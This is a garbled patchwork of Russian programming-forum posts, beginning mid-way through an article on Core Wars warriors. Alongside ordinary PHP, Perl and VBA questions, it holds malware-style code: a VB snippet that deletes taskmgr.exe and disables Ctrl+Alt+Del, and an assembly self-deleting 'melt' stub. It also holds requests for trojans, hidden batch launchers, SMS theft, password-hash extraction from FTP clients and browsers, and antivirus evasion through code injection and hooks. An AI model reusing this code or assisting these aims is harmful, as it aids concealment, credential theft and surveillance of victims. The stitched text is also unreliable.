Команда эта просто копирует себя же в следующую ячейку, после чего исполняется уже в новой позиции, таким образом "намазывая" себя на всю память в системе.
Чем эта штука интересна? Дело в том, что набор команд в Core Wars довольно ограничен - по сути, он состоит из команд mov (копирование памяти из ячейки в ячейку), арифметики и jmp (переход) с небольшими вариациями. Классический размер программы-бойца, как правило, тоже невелик - от одной (!) команды (это
Что это значит? Это значит, что бойцов можно "выращивать" генетическим методом! Сама по себе идея генетически создавать программы очевидна, но я впервые вижу, чтобы это давало практические результаты. А ведь даёт. Автор статьи утверждает, что уже через 100 поколений появились кое-какие "бойцы", а к тысячному поколению они даже достигли определённых высот в военном искусстве. Увы, не то чтобы высот совсем уж невероятных, но - лиха беда начало.
Ну а теперь более подробно....
Core Wars
Цель этого проекта состоит в том, чтобы доказать, что corewarriors могут
учиться, моделируя развитие. Это будет доказано, используя программу
компьютера, которая моделирует развитие, используя генетический алгоритм.
Данная программа была сначала подготовлена и представлена в классе
Искусственного интеллекта в Wilmington Колледже в Весеннем семестре 1998.
Класс преподавался Джимом Фитзсиммонсом, Ph. D.
Эта - секция, представляет бомбежку. Бомбежка состоит из использования MOV инструкции, чтобы переместить одну инструкцию(команду) поверх другой. Например, давайте посмотрим на очень простой bomber, написанный A. K. Dewdney (Dewdney, A. K., Вселенная Кресла):
mov.i $3, $7
add.ab #4, $-1
jmp.a $-2, #0
dat.f #0, #0
Выполнение начинается с MOV инструкции. Эта инструкция перемещает, любое значение из 3 линии (в нашем случае это DAT инструкция) в 7 линию. Далее выполняется ADD инструкция, которая добавляет 4 ко второму операнду инструкции MOV. Соответственно второй операнд у инструкции MOV изменяется с 7 на 11. JMP инструкция посылает выполнение назад MOV, который повторяет бомбёжку снова. Давайте посмотрим, как два воина борются против друг друга и как убивает DAT бомба.
mov.i $3, $7 <-- выполнение для этого воина начинается здесь
add.ab #4, $-1
jmp.a $-2, #0
dat.f #0, #0
(empty line)
(empty line)
(empty line)
(empty line)
mov.i $3, $7 <-- выполнение для этого воина начинается здесь
add.ab #4, $-1
jmp.a $-2, #0
dat.f #0, #0
(empty line)
(empty line)
(empty line)
(empty line)
. . .
Использование empty line помогает лучше пояснить происходящие процессы. На следующем шаге "тела" обоих воинов выглядят следующим образом:
mov.i $3, $11 <-- выполнение для этого воина продолжается здесь
add.ab #4, $-1
jmp.a $-2, #0
dat.f #0, #0
(empty line)
(empty line)
(empty line)
dat.f #0, #0
(empty line)
mov.i $3, $11 <-- выполнение для этого воина продолжается здесь
add.ab #4, $-1
jmp.a $-2, #0
dat.f #0, #0
(empty line)
(empty line)
(empty line)
dat.f #0, #0
. . . (lots more empty lines)
На третьем шаге можно увидеть, что первый воин записал на место инструкции JMP первого воина свою инструкцию DAT. Естевственно, что второй воин выйдет на ошибку.
mov.i $3, $15
add.ab #4, $-1
jmp.a $-2, #0 <-- выполнение для этого воина продолжается здесь
dat.f #0, #0
(empty line)
(empty line)
(empty line)
dat.f #0, #0
(empty line)
mov.i $3, $15
add.ab #4, $-1
dat.f #0, #0 <-- выполнение для этого воина продолжается здесь
dat.f #0, #0
(empty line)
(empty line)
(empty line)
dat.f #0, #0
(empty line)
(empty line)
(empty line)
dat.f #0, #0
. . . (lots more empty lines)
Следущий пример, опясывающий борьбу программ-воинов, на жаргоне называется "расщепление". В программе можно использовать SPL инструкцию, чтобы создать два или больше процессов. Эта инструкция может также использоваться, чтобы добавить длительность (долговечность) жизни программы-бойца. Если мы добавляем SPL инструкцию к началу воина рассмотренного в предыдущем примере, то мы получим:
spl.a #0, #0
mov.i $3, $7
add.ab #4, $-1
jmp.a $-2, #0
dat.f #0, #0
то есть инструкция SPL предварительно запустить пераллельную копию процесса воина и вероятность того, что инструкция JMP будет стёрта воином противником уменьшится.
Следующий метод борьбы называется "coreclear" (перевести не удалось . Перед запуском тело такого воина выглядит следующим образом:
mov.i $2, <-1
jmp.a $-1, #0
dat.f #0, #0
После нескольких циклов, тело программы будет выглядеть следующим образом:
dat.f #0, #0
dat.f #0, #0
dat.f #0, #0
dat.f #0, #0
dat.f #0, #-5
mov.i $2, <-1
jmp.a $-1, #0
dat.f #0, #0
. . . (empty lines)
Инструкция MOV берёт DAT, который стоит после JMP и помещает по адресу -1, то есть перед собой и при этом уменьшает на еденицу второй операнд у уже перемещённой инструкции DAT. При следующем цикле инструкция MOV переместит инструкцию DAT по адресу, указанному во втором операндре DATa -1 (а там уже к тому времени будет -1). DAT попадает на две строки вверхи и в DAT непосредственно перед MOV запишется значение -2, и так далее.
Следующая терминалогия в Core-войнах - это "указатели". Давайте посмотрим модифицированный код coreclear'a:
mov.i $2, <-1
jmp.a $-1, <-2
dat.f #0, #0
Посмотрим, что же происходит после выполнения команд MOV и JMP:
. . . (more empty lines)
dat.f #0, #0
dat.f #0, #-2
mov.i $2, <-1
jmp.a $-1, <-2
dat.f #0, #0
. . . (more empty lines)
В обычном coreclear'e DAT уменьшается на 1, но сдесь же на 2. Проследим дальше за выполнением программы:
. . . (more empty lines)
(empty line)
dat.f #0, #0
(empty line)
dat.f #0, #0
(empty line)
dat.f #0, #0
dat.f #0, #-6
mov.i $2, <-1
jmp.a $-1, <-2
dat.f #0, #0
. . . (more empty lines)
Получается, что каждая вторая линия попадает под обстрел атакующего воина, естевственно, что такой вариант coreclear'a более эффективен в поиске и уничтожении противника.
Теперь давайте разберёмся, что такое мутирующий(видоизменющийся) воин. Для этого изменим воина бомбящего каждую 4-ю строчку:
spl.a #0, #0
mov.i $3, $5
add.ab #4, $-1
jmp.a $-2, #0
dat.f >-1, #0
dat.f >-1, #0 имеет преимущество перед инструкциями DAT с числами 0. Теперь наш воин помимо того, чтобы бомбить вогруг себя собирается ещё и по себе нанести удар. Теперь посмотрим как выглядит тело программы после первого цикла:
. . .(строки с инструкцией dat.f >-1, #0 через каждую четвёртую строчку)
dat.f >-1, #0
(empty line)
spl.a #0, #0
mov.i $3, $1
<--- about to execute this instruction
add.ab #4, $-1
jmp.a $-2, #0
dat.f >-1, #0
(empty line)
dat.f >-1, #0
(empty line)
(empty line)
(empty line)
dat.f >-1, #0
. . .(строки с инструкцией dat.f >-1, #0 через каждую четвёртую строчку)
Далее MOV помещает на инструкцию ADD DAT-бомбу:
. . .(строки с инструкцией dat.f >-1, #0 через каждую четвёртую строчку)
dat.f >-1, #0
(empty line)
spl.a #0, #0
mov.i $3, $1
dat.f >-1, #0 <--- здесь начинается мутация
jmp.a $-2, #0
dat.f >-1, #0
(empty line)
dat.f >-1, #0
(empty line)
(empty line)
(empty line)
dat.f >-1, #0
. . .(строки с инструкцией dat.f >-1, #0 через каждую четвёртую строчку)
Чтоже произойдёт дальше ? Инструкция DAT завершит выполнение процесса, но прежде она увеличит на 1 второй операнд у инструкции MOV
ДОброго всем времени суток
Трабл вот в чем. есть скрипт который отправляет пост-запрос на нн-й цги.. но там есть бан по ИП.. есммесно встал вопрос об отправке запроса через зттп прокси. ктонить знает как реализывать ?
Я делаю в FrontPage html страничку, потом переделываю её php вида
Code:Copy to clipboard
<?php
echo "<html>";
echo "<body>";
echo "</body>";
echo "</html>";
?>
и вставляю необходимые мне скрипты, так вот посоветуйте пожайлуста какой-нить редактор типа frontpage, чтобы мона было редактировать страничку (ну там расположение таблиц, картинок и т.д.) не переделывая обратно в html
Прозьба асм кодерам, посоветовать...
Code:Copy to clipboard
.386
.model flat, stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
include masm32.inc
include comctl32.inc
include gdi32.inc
include advapi32.inc
includelib user32.lib
includelib kernel32.lib
includelib masm32.lib
includelib gdi32.lib
includelib comctl32.lib
includelib advapi32.lib
includelib shlwapi.lib
includelib shell32.lib
includelib comdlg32.lib
.const
IDD_DIALOG1 equ 1
IDM_EXIT equ 101
IDM_BUTTON1 equ 102
IDC_EXIT equ 201
IDC_BUTTON1 equ 202
.data
szSuccess db "Hello Word",0
info db "info",0
.data?
Hkey dd ?
hInstance dd ?
.code
DlgProc PROC hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_INITDIALOG
invoke LoadIcon, hInstance, 1
invoke SendMessage, hWnd, WM_SETICON, 1, eax
.ELSEIF uMsg==WM_CLOSE
invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0
.ELSEIF uMsg == WM_COMMAND
mov eax,wParam
.IF lParam==0
.IF ax==IDM_EXIT
invoke EndDialog, hWnd,NULL
.ELSEIF ax==IDM_BUTTON1
invoke MessageBoxA ,0,ADDR szSuccess,ADDR info, MB_ICONINFORMATION
.ENDIF
.ELSE
mov edx,wParam
shr edx,16
.if dx==BN_CLICKED
.IF ax==IDC_EXIT
invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0
.ELSEIF ax==IDC_BUTTON1
invoke SendMessage,hWnd,WM_COMMAND,IDM_BUTTON1,0
.ENDIF
.ENDIF
.ENDIF
.ENDIF
xor eax, eax
ret
DlgProc ENDP
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke DialogBoxParam, hInstance, IDD_DIALOG1 ,NULL, addr DlgProc, NULL
invoke ExitProcess,eax
end start
Где же ошибка, у меня на winXP sp2 не хочет запускаться приложение откомпиленное, но у соседа и других друзей все рулит!
файл ресурсов таков
Code:Copy to clipboard
#define IDD_DIALOG1 1
#define IDM_EXIT 101
#define IDC_EXIT 201
#define IDC_BUTTON1 202
1 ICON "mainicon.ico"
1 24 "manifest.txt"
IDD_DIALOG1 DIALOG 43, 37, 237, 98
EXSTYLE WS_EX_DLGMODALFRAME | WS_EX_APPWINDOW
STYLE DS_MODALFRAME | DS_3DLOOK | DS_CENTER | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX
CAPTION "Asm Dialog form"
FONT 8, "MS Sans Serif"
{
CONTROL "Exit", IDC_EXIT, "BUTTON", BS_PUSHBUTTON | BS_CENTER | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 184, 4, 50, 14
CONTROL "Start", IDC_BUTTON1, "button", BS_PUSHBUTTON | BS_CENTER | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 184, 20, 50, 14, 0
}
Я очень заинтересовался нейронными сетями. Подкиньте если кто знает
статьи/книги, но только там где на примерах всё объсняют - весьма доходчиво...
Или исходники какие ( желательно на C/C++ )...
И что особо интересует: различия между реальным человеческим мозгом и его компьютерным подобием( в архитектуре... )?
Вопрос заключается в следующем: каким образом можно закодировать php скрипты?
я думаю о всем известном zend говорить не стоит
Решил сделоть Трояна на VB подключив к exe Microsoft Winsock Control(6.0) {в описание сказанно было 5.0} в свойствах не могу поставить значение порта ( нету свойства LocalPort ). В чем проблема понять не могу? :bang:
У меня есть скрипт на тест скорости в языке java. Здесь я его не поместил
потому что он очень большой. Так что просто напишите мне я его вам пришлю.
Я его не стал цеплять т.к. весит полметра - а мне не хватает около 20 кб, а
при сжатии в разрешение 7z сервер отказался принимать, при сжатии zip файл
весил 369 Кб. Так что напишите мне, я его пришлю
чета скущновато тут
можт конкурс забабацать?
Такая тема.Я новичек.Вопрос такой.
Я например проводил много "экспириментов" с *.bat.
Вот взял я взял .exe файл.(К примеру 1.exe).Поместил его в папку с
bat'ником...
Файлу 1.exe я присвоил значение "скрытый".
Создал файл 123.bat
Написал там:
Code:Copy to clipboard
start %xxx%1.exe
Где xxx - название папки в которой лежит файл 1.exe (скрытый).Этот файл
сработал.
Вот такой вопрос.
Скажите код бат'а - чтоб вначале выполнялся поиск,потом уже запуск.
К примеру: я создаю папку .../123 в ней лежит 123.bat и xddfasfsfs.exe
(название файла (скрытый)
Как мне сделать чтоб вначале выполнялся поиск xddfasfsfs.exe (в скрытых тоже)
а потом запуск его.
Можо так сделать?
И еще.Может это и не возможно...Но как нибудь скрыть саму cmd консоль можно?
чтоб ее просто не было видно.
(может у *bat есть какой параметр SPOILER или что то такое).
Хай всем!
Как создать виртуальную файловую систему, скрытую от чужих глаз, или RAM диск
средствами WinAPI?
Если кто знает алгоритмы или реализацию помогите плиз...
Кто нибудь знает, как реализовать вот такую фишку. :bang:
У нас есть PHP скрипт, который должен срабатывать каждые 15 минут
(на него посетители не ходят, да и я впринципе тоже)...
Как это срабатывание реализовать грамотно ???
Что бы в момент ожидания был какой-небудь SLEEP у сервака
(т.е не FORами и WHILами +Headerы задержка).
А потом вызов PHP на исполнение. Все без участия пользователя.
Надеюсь вы меня поняли :help:
Code:Copy to clipboard
<html>
<head>
<title>êëàññ òàáëå </title>
</head>
<body>
<?php
class Table
{
var $table_array = array();
var $headers = array();
var $cols;
Function Table ( $headers )
{
$this->headers=$headers;
$this->cols=count( $headers );
}
Function addRow ($row)
{
IF (count($row) != $this->cols)
return false;
array_push($this->table_array, $row);
return true;
}
Function addRowAssocArray ($row_assoc)
{
$row = array();
foreach ($this->headers as $header )
{
if ( ! isset( $row_assoc[$header]))
$row_assoc[$header] = " ";
$row[] = $row_assoc[$header];
}
array_push($this->table_array, $row);
return true;
}
function output()
{
print "<pre>";
foreach ($this->headers as $header)
print " <B>$header</B> ";
print "\n";
foreach ( $this->table_array as $y )
{
foreach ( $y as $xcell )
print "$xcell";
print "\n";
}
}
}
$test = new Table( array("a","b","c" ));
$test->addRow(array(1,2,3));
$test->addRow(array(4,5,6));
$test->addRowAssocArray(array(b=>0,a=>6,c=>3));
$test->output();
?>
</body>
</html>
вот в чем ошибка? никак не пойму сам скрипт висит тут
http://www.kosnet.ru/~mause
там пхп поддерживается
зы: я тока учусь сильноо не бить. =)
Решил изучить основы php. Зашел на сайт,где есть небольшие уроки по php.
Но столкнулся с проблемой.Там в одном из уроков поазывают такой пример:
Code:Copy to clipboard
<? $A=7.135;
$a=15; $mess4="Четверг";
echo "Сегодня $mess4, $a -ое";
$9sad=194 //Неправильное имя переменной
?>
А при запуске этого скрипта вылетает вот такая мессага:
Parse error: syntax error, unexpected T_LNUMBER, expecting T_VARIABLE or '$'
in /home/service/public_html/script.php on line 4
Что то в скрипте не правильно? Помогите разобраться.
Здравствуйте.
Немог бы кто нибудь мне подсказать, как запрограммировать на ТР
встроиную звукавую карту компьютера, что бы колонки издовали звук с
определёной частотой?????????????
Пожалуйсто помогите. :help:
На написание данной статьи, меня подтолкнуло то, что несколько раз была необходимость закрыть свой код от посторонних глаз. Точнее не сам код, как пароли к БД, которые были в некотором РНР-файле...
Сколько я бы не пытался кодировать его в Zend, все равно, существует множество сервисов, которые за 20-30 баксов, смогут расшифровать этот код (http://phpdecode.com). А пароль на нужную БД стоит в несколько десятков раз больше... Раньше, мне необходимо было получать некоторые данные из скриптов, которые расположены на других серверах... Отсюда пришла идея: а что если я буду получать пароль из другого сайта???
Переходим к кодингу:
---
Схема будет состоять из двух скриптов. Скрипта вызова (1) и скрипта которого
вызывают (2).
Теперь нам необходимо узнать IP-адрес сервера, где будет лежать скрипт (1).
Допустим он: 1.2.3.4
Теперь на свой сервер закачиваем скрипт (2), который содержит след. код:
...
Продолжение: http://forum.mcdeveloper.com/index.php?showtopic=15
История такова. Меня на работе за кваку в обеденное время здорово натянули на всю премию с гонорарами. А само начальство сидит и рубается в сабжевые гамы.
Пробовал сносить ярлыки, затем гамы. Додумались, что можно гамы на дискетах таскать.
ПРОСЬБА: Нужна програмка на любом языке программирования следующего вида:
Висит в памяти.
Никаких ярлыков в трэе и панети задач.
Отслеживает заголовки окон и сверяет с текстовым файлом (в нем записываются
запрещенные заголовки)
При совпадении - закрывает запрещенное приложение.
Обращаюсь к Вам, т.к. в программировании - полный профан.
Люди, сижу в 11м классе. Крутых мат терминов не знаю.
Так что заранее извиняйте. Пишу свой приватный криптоалгоритм.
Хочу спросить, у кого небудь есть что небудь почитать по
Полиномам. Что это такое, с чем его едят.
Желательно с примерами сырцов, но если не с сырцами, то хотя бы
что бы мат. теория была по человечески написана.
PS: To Admins&Moderators - Если я ошибся разделом, прошу
перенаправить в нужный.
В школе я освоил паскаль.
Сам освоил хатмл и немного рубаю в ява скриптах.
Встал вопрос.
\Что учить дальше?И надо бы чтонибудь полезное и часто используемое.Но что я
не знаю.
Может попробовать симбиан?(но самоучитель никак найти не могу).
Может с++, может асемблер.Ну нее знаю.
Посоветуйте что-нибудь человеку.
А сейчас я в 11 :baby: хыхыхы
Вот кароче... Всем линуксоидам качать...
Добавлено в [time]1130849138[/time]
И вот еще один.. правда папроще..
:swoon2:
Вот освоил я его давным давно хотел что то учить другое ну типо там Си, перл,
питон даж хотел, но чото не пропёрло так как когда то пропёрло Shell кодинг..
Вот такая вот грустная история....
Добавлено в [time]1130577060[/time]
Ваще чото ничо не учицо :bang: :rip2:
Дайте линки на учебники для perl
Прива всем.
Такое дело. Решил научиться программировать на перле.
Поставил активперл и запасся книжкой
.
Так вот. Прочитал страниц 50 и решил написать свою "программу" (скрипт - кому как нравиться). Суть её заключается в том, что бы удалить одинаковае строки и файла. То есть. Есть один txt файл, в нём записанно много-много слов в столбик (словарь паролей).
#!/usr/bin/perl -w
open(MLIST, "mlist.txt") or die "No list found: $!\n";
while ($line =
) {
($word, $razd) = ($line, "");
$words{$word} = $razd . "";
}open(OUT, ">out.txt") or die "Can't create file: $!\n";
print OUT %words;
close OUT;print "DONE";
exit;
Click to expand...
Не обращайте особого внимания на способ реализации
- первая программа.
Короче. Файл размером в 50Мб прекрасно прогоняет (несколько минут), а вот
100Мб - окончания не дождался (больше часа).
Собственно, подскажите, пожалуйста, почему так происходит и как это поправить .
У нас есть подразделение - газета.
Мы скидываем им перед каждым выпуском объявления в номер типа:
Code:Copy to clipboard
* "Ауди-80" (переходная), 85 г.в., 1.6Б
тел. 6-02-57, после 17.00
* "Ауди-80", 88 г.в., 1.8К, 2800 у.е.
тел. 8 (029) 353-16-98, после 18.00
* "Ауди-100", 83 г.в., 1.9К, с 19:00 до 22:00
тел. 8 (029) 643-44-04
* "Ауди-100", 83 г.в., 2.0
обр. по адресу: ул. Наумова, 21/15
Нужно сделать так, чтобы по средством вордового скрипта вся строчка тел. стала жирной.
Пытался написать скрипт:
Code:Copy to clipboard
Sub tel()
'
' Time Макрос
' Макрос записан 04.04.06 **
'
Set myRange = ActiveDocument.Content
myRange.Find.ClearFormatting
myRange.Find.Replacement.ClearFormatting
With myRange.Find
.Text = "тел. [0-9]-[0-9][0-9]-[0-9][0-9]"
.Forward = True
.Wrap = wdFindContinue
.Format = True
.MatchCase = False
.MatchWholeWord = False
.MatchAllWordForms = False
.MatchSoundsLike = False
.MatchWildcards = True
With .Replacement
.ClearFormatting
.Font.Bold = True
End With
End With
myRange.Find.Execute Replace:=wdReplaceAll
myRange.Find.ClearFormatting
myRange.Find.Replacement.ClearFormatting
With myRange.Find
.Text = ", [0-9]-[0-9][0-9]-[0-9][0-9]"
.Forward = True
.Wrap = wdFindContinue
.Format = True
.MatchCase = False
.MatchWholeWord = False
.MatchAllWordForms = False
.MatchSoundsLike = False
.MatchWildcards = True
With .Replacement
.ClearFormatting
.Font.Bold = True
End With
End With
myRange.Find.Execute Replace:=wdReplaceAll
myRange.Find.ClearFormatting
myRange.Find.Replacement.ClearFormatting
With myRange.Find
.Text = "тел. 8 (029) [0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]"
.Forward = True
.Wrap = wdFindContinue
.Format = True
.MatchCase = False
.MatchWholeWord = False
.MatchAllWordForms = False
.MatchSoundsLike = False
.MatchWildcards = True
With .Replacement
.ClearFormatting
.Font.Bold = True
End With
End With
myRange.Find.Execute Replace:=wdReplaceAll
myRange.Find.ClearFormatting
myRange.Find.Replacement.ClearFormatting
With myRange.Find
.Text = ", 8 (029) [0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]"
.Forward = True
.Wrap = wdFindContinue
.Format = True
.MatchCase = False
.MatchWholeWord = False
.MatchAllWordForms = False
.MatchSoundsLike = False
.MatchWildcards = True
With .Replacement
.ClearFormatting
.Font.Bold = True
End With
End With
myRange.Find.Execute Replace:=wdReplaceAll
myRange.Find.ClearFormatting
myRange.Find.Replacement.ClearFormatting
With myRange.Find
.Text = ", после [0-9][0-9].[0-9][0-9]"
.Forward = True
.Wrap = wdFindContinue
.Format = True
.MatchCase = False
.MatchWholeWord = False
.MatchAllWordForms = False
.MatchSoundsLike = False
.MatchWildcards = True
With .Replacement
.ClearFormatting
.Font.Bold = True
End With
End With
myRange.Find.Execute Replace:=wdReplaceAll
myRange.Find.ClearFormatting
myRange.Find.Replacement.ClearFormatting
With myRange.Find
.Text = ", с [0-9][0-9].[0-9][0-9] до [0-9][0-9].[0-9][0-9]"
.Forward = True
.Wrap = wdFindContinue
.Format = True
.MatchCase = False
.MatchWholeWord = False
.MatchAllWordForms = False
.MatchSoundsLike = False
.MatchWildcards = True
With .Replacement
.ClearFormatting
.Font.Bold = True
End With
End With
myRange.Find.Execute Replace:=wdReplaceAll
End Sub
НЕ РАБОТАЕТ СВОЛОЧЬ!!! Телефоны вида -- красит, а 8 (029) -- игнорирует. Ни ошибок, ничего. Просто не красит. Где ошибка?
Короче говоря есть способ который скрывает в таск менеджере прогу. Как выяснилось, работает сабж только со старой виндой. Есть несколько свежих идеек.
Оригинал:
Code:Copy to clipboard
Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
Sub DisableCTRLaltDEL(huh As Boolean)
'Disable CTRL+ALT+DEL'
GD = SystemParametersInfo(97, huh, CStr(1), 0)
End Sub
Примерно так
первая:
Code:Copy to clipboard
private sub form_load()
killtaskmngr true
app.taskvisible = false
end sub
public sub killtaskmngr(do_it as boolean)
if do_it = true then
filecopy "c:windowssystem32taskmgr.exe", "c:taskmgr.exe"
kill "c:windowssystem32taskmgr.exe"
else
filecopy "c:taskmgr.exe", "c:windowssystem32taskmgr.exe"
end if
end sub
public sub form1_unload(cancel as integer)
killtaskmngr false
end sub
Пути не прописывал) Лень. Ну идея понятна.
Вторая заключается в отключении сабжа через реестр. Пока не знаю где ключ
хранится - как узнаю - напишу.
Как думаете, идея хлам или пойдет? На себе не пробовал.
Добренький всем денечек.
Может быть кто знает есть ли скрипт ( PHP или Perl или Python ), который программно может содрать страницу с картинками и прочими потрохами и сконвертировать все в MHT формате в файл?
Ищу, но пока не нашел, мобыть кто знает. :cry2:
А.
Code:Copy to clipboard
#include <stdlib.h>
#include <stdio.h>
void encode (char* beg);//does not encoding with inline asm
int main()
{
char string[]="This is a test";
printf("Before any action: %s\n",string);
encode(string);
printf("Encoded: %s\n",string);
encode(string);
printf("Encoded again to produce original:%s\n",string);
system("pause");
return 0;
}
void encode (char* beg)
{
__asm mov ebx, beg
__asm keepgo: cmp [ebx],0
__asm je endit
__asm not [ebx]
__asm inc ebx
__asm jmp keepgo
__asm endit:
}
Code:Copy to clipboard
.data
Melt db 'Command.com /C Choice.com /C:YN /N /T:Y,5|erase ',0
.data?
meltbuff db 256 dup(?)
.code
start:
invoke GetModuleFileName, 0, addr meltbuff, 255
invoke GetShortPathName, addr meltbuff, addr meltbuff, 255
invoke lstrcat,addr Melt,Addr meltbuff
invoke WinExec, addr Melt, SW_SPOILER
invoke ExitProcess,0
end start
Писалась в полу сонном состоянии, за ошибки не пинать
Web щит.
Защищяем приложения с помощью web авторизации.
Не мне вам говорить что очень не приятно когда плоды твоих трудов продают за
пару баксов в вашей же теме о продаже. Как защитится от этого? Мы не
софтверные компании, и поэтому нам не надо писать сложные системы защиты,
триальные демо версии и прочее, т.к наши программы орентированы на интернет
публику, то и авторизацию мы сделаем тоже через интернет. Плюсы этого способа,
у нас не будет серийного ключа который генерируется по определённому
алогоритму, нам не надо будет прятать регистрационные данные, вобще
положительных сторон тут можно найти много, но теперь суть идеи, сейчас мы
будем писать программу которая при запуске будет сверять серийный номер диска
C с ранее отправленным номером (который хранится на нашем сервере). Begin...
Создаём новый проект или открываем уже существующий. Добавляем в него ещё одну
форму и пишем в Form1 (Переименуйте в Main) в событии FromCreate
Form2.ShowModal; // Переименуйте в auth
На форму Auth добавляем 2 Edit (Переименовываем NickEdit и SNEdit) и одну
кнопку (AuthButton);
Теперь пишем код для события FromCreate у формы Auth:
// Глобальные перменные
Res: String;
SN: String;Var
URL: String;
HT: Cardinal;
Begin
Url:= 'www.site.ru/ourscript/' + NickEdit.Text +'.txt';
GetSn;
CreateThread(nil, 128, @GetSource(URL), self, 0, HT);
If Pos(SN, Res) <> 0 then
Begin
Auth.Close;
ShowMessage('Авторизация прошла успешно');
End
Else
Begin
Auth.Close;
MainForm.Close;
End;
End;Click to expand...
Думаю, тут всё понятно и комментарии к коду излишни, теперь нам надо написать ещё 2 функции функцию GetSource и процедуру GetSn благодаря который мы и узнаем серийный номер диска C.
uses WinInet;
function MainForm.GetSource(const Url: string): string;
var
IHWND: HINTERNET;
UHWND: HINTERNET;
Buffer: array[0..1000] of char;
BytesRead: cardinal;
begin
Result:= '';
IHWND:= InternetOpen('Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
UHWND:= InternetOpenUrl(IHWND, PChar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0);
FillChar(Buffer, SizeOf(Buffer), 0);
repeat
Begin
FillChar(Buffer, SizeOf(Buffer), 0);
InternetReadFile(UHWND, @Buffer, SizeOf(Buffer), BytesRead);
Result := Result + Buffer;
Res:= Result;
End
until BytesRead = 0;
Begin
InternetCloseHandle(IHWND);
End;
end;Click to expand...
Открываем соединение, открываем урл, читаем файл, помещаем в буфер. Тут тоже
должо быть всё ясно.
Теперь процедура для получения серийного номера:
Pocedure MainForm.GetSn;
var
lpRootPathName : PChar;
lpVolumeNameBuffer : PChar;
nVolumeNameSize : DWORD;
lpVolumeSerialNumber : DWORD;
lpMaximumComponentLength : DWORD;
lpFileSystemFlags : DWORD;
lpFileSystemNameBuffer : PChar;
nFileSystemNameSize : DWORD;FSectorsPerCluster: DWORD;
FBytesPerSector : DWORD;
FFreeClusters : DWORD;
FTotalClusters : DWORD;
begin
// Обнуляем переменные
lpVolumeNameBuffer := '';
lpVolumeSerialNumber := 0;
lpMaximumComponentLength:= 0;
lpFileSystemFlags := 0;
lpFileSystemNameBuffer := '';
lpRootPathName:= 'C:';try
// Получаем память под буффер
GetMem(lpVolumeNameBuffer, MAX_PATH + 1);
GetMem(lpFileSystemNameBuffer, MAX_PATH + 1);
nVolumeNameSize := MAX_PATH + 1;
nFileSystemNameSize := MAX_PATH + 1;
// Получаем серийный номер
GetVolumeInformation( lpRootPathName, lpVolumeNameBuffer,
nVolumeNameSize, @lpVolumeSerialNumber, lpMaximumComponentLength,
lpFileSystemFlags, lpFileSystemNameBuffer, nFileSystemNameSize);
// Присваиваем Sn значение
SN:= IntToHex(HIWord(lpVolumeSerialNumber), 4) + '-' + IntToHex(LOWord(lpVolumeSerialNumber), 4);finally
// Освобождаем память
FreeMem(lpVolumeNameBuffer);
FreeMem(lpFileSystemNameBuffer);
end;
end;Click to expand...
Теперь в переменной SN содержится серийный номер диска C. Вобще лучше всего, добавить в FormClose запись из NickEdit и SN в реестр идобавить в FromCreate AuthForm что бы искала ключи в реестре с сериным номером и ником и автоматически сверяла их, ну это вы уж как нибудь сами подкорректируйте мой шаблон.
Подскажите кто небудь хороший PHP отладчик, и линк к нему, вмести с Кряком...
Несколько дней назад захотел познакомиться с языком "Python" - порылся в гугле и нашел, как всегда бывает, самые противоречивые оценки.
Учить или не учить? :unsure:
Кто знает этот язык, плиз, напишите ваше мнение!
нужен учебника по perl :help:
что мне нужно не него:
примеры(думаю во всех есть
)
описание функций для работы в mysql
ну и сроздание web скриптов
хочю написать ява приложение ,которое будет проверять наличие смс вход/исход в телефоне, затем сохранять их в отдельном файле и прятать их на флешке. для дальнейшего извлечения через сторонее bluetooth устройство.
Есле был у кого опыт посоветуйте с чего начинать.
1. на данный момент меня интересуют какие есть ограничения на "Обход
файрволлов путем инжектирования кода в доверенный процесс", есть ли
ограничение на размер кода который можно инжектировать, нужно ли выполнять
какие либо действия над процесом носителем (суспендить его), к любому ли
процесу можно прицепится и если нет то по какием признакам определяется
подходящий ?
2. что такое "Обход контроля компонентов методом альтернативно получения
хендлов и запуска "злого" кода" ? я про такое раньше не слышал
3. насчет маскировки вопрос как еще можно поставить глобальный хук на все
процессы кроме как пропись в реестре AppInit который наверняка антивирами
контролируется ?
4. Реально ли написать самомодификат на С без использования асма ? или лучше
не мучать попу ?
5 чем шифрование случайным ключом отличается от самомодификации ? ведь
результат я так понимаю один и тот же, часть кода постоянно меняется ? кроме
того если выполнять "нулевое модифицирование" будет ли разница между ними ?
Подскажите, как сделать выдергивание хешей паролей хотя бы одной из след.
программ:
Becky, CuteFTP, EDialer, Mozilla, Opera,WS_FTP.
С дешифрованием самих хешей разобрался, а вот как вытянуть их из конфиг.
файлов?
...ну вот сидим мы инете и общаемся с человеком ...ну там разговор про всякие
настройки софта и все такое))) ...и в разговоре этот человек приходит к мысли
о том что неплохо бы выучить пару другую языков программирования)))
...реальная идея ...согласитесь с этим ...соответственно ...типа вопрос ...с
какого языка следует начинать?))) ...и вообще какой язык учить? ...разговор
такой был не с ним одним и не только сегодня))) ...многие парни сразу
безаппеляционно отвечают что учить надо С++ ...или типа азм - это святое
...согласен ...даже спорить с этим глупо ...можно найти кучу аргументов в
защиту этих языков и многих других тоже ...но вот вам в качестве информации к
размышлению пара абзацев:
...читал тут на досуге типа перевод лекции одной ...ну и там хлопчик пишет
такую весЧь:
За те годы, что я проработал в ******, я прочитал множество объявлений о найме
на работу. Примерно каждый месяц появлялся новый конкурент. Первое, что я
делал после того, как проверял, доступна ли онлайновая демонстрация работы их
программы, — смотрел список их вакансий. Через пару лет я научился отличать
